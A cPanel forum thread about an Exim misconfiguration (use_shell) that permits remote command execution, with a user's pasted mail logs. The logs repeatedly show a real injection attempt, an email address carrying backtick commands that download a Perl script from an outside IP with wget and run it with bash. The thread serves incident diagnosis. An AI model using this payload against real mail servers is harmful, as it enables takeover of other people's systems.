Exim with Dovecot: Typical Misconfiguration Leads to Remote Command Execution

cPanelNick

Administrator
Staff member
Mar 9, 2015
3,488
35
158
cPanel Access Level
DataCenter Provider
We don't use use_shell in exim.conf. The deficiencies of use_shell are already documented in the exim documentation showing this is a security problem when used this way. This is a case of blindly copying the example and not reading the docs that go along with it. It looks like the exim devs has since made the warning stronger and more fiercely worded.
 

zye

Well-Known Member
Dec 6, 2002
117
4
168
i noticed
<red`wget${IFS}178.218.211.118/a${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`[email protected]>

exim_mainlog

Code:
2013-05-05 04:39:24 1UYgRb-0003y5-7t == red`wget${ifs}178.218.211.118/a${ifs}-o${ifs}/tmp/a.pl``bash${ifs}/tmp/a.pl`[email protected] <red`wget${IFS}178.218.211.118/a${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`[email protected]> R=dkim_lookuphost T=dkim_remote_smtp defer (110): Connection timed out
2013-05-05 08:39:24 1UYgRb-0003y5-7t == red`wget${ifs}178.218.211.118/a${ifs}-o${ifs}/tmp/a.pl``bash${ifs}/tmp/a.pl`[email protected] <red`wget${IFS}178.218.211.118/a${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`[email protected]> R=dkim_lookuphost T=dkim_remote_smtp defer (110): Connection timed out
2013-05-05 14:39:24 1UYgRb-0003y5-7t == red`wget${ifs}178.218.211.118/a${ifs}-o${ifs}/tmp/a.pl``bash${ifs}/tmp/a.pl`[email protected] <red`wget${IFS}178.218.211.118/a${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`[email protected]> R=dkim_lookuphost T=dkim_remote_smtp defer (110): Connection timed out
2013-05-05 23:39:24 1UYgRb-0003y5-7t == red`wget${ifs}178.218.211.118/a${ifs}-o${ifs}/tmp/a.pl``bash${ifs}/tmp/a.pl`[email protected] <red`wget${IFS}178.218.211.118/a${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`[email protected]> R=dkim_lookuphost T=dkim_remote_smtp defer (110): Connection timed out
2013-05-06 08:39:39 1UYgRb-0003y5-7t == red`wget${ifs}178.218.211.118/a${ifs}-o${ifs}/tmp/a.pl``bash${ifs}/tmp/a.pl`[email protected] <red`wget${IFS}178.218.211.118/a${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`[email protected]> R=dkim_lookuphost T=dkim_remote_smtp defer (110): Connection timed out
2013-05-06 17:39:33 1UYgRb-0003y5-7t == red`wget${ifs}178.218.211.118/a${ifs}-o${ifs}/tmp/a.pl``bash${ifs}/tmp/a.pl`[email protected] <red`wget${IFS}178.218.211.118/a${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`[email protected]> R=dkim_lookuphost T=dkim_remote_smtp defer (110): Connection timed out
2013-05-07 01:40:27 1UYgRb-0003y5-7t == red`wget${ifs}178.218.211.118/a${ifs}-o${ifs}/tmp/a.pl``bash${ifs}/tmp/a.pl`[email protected] <red`wget${IFS}178.218.211.118/a${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`[email protected]> R=dkim_lookuphost T=dkim_remote_smtp defer (110): Connection timed out
2013-05-07 10:39:24 1UYgRb-0003y5-7t == red`wget${ifs}178.218.211.118/a${ifs}-o${ifs}/tmp/a.pl``bash${ifs}/tmp/a.pl`[email protected] <red`wget${IFS}178.218.211.118/a${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`[email protected]> R=dkim_lookuphost T=dkim_remote_smtp defer (111): Connection refused

exim_mainlog:2013-05-05 04:39:03 1UYgRb-0003y5-7t example.com [2001:500:88:200::10] Network is unreachable
exim_mainlog:2013-05-05 04:39:24 1UYgRb-0003y5-7t example.com [192.0.43.10] Connection timed out
exim_mainlog:2013-05-05 04:39:24 1UYgRb-0003y5-7t == red`wget${ifs}178.218.211.118/a${ifs}-o${ifs}/tmp/a.pl``bash${ifs}/tmp/a.pl`[email protected] <red`wget${IFS}178.218.211.118/a${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`[email protected]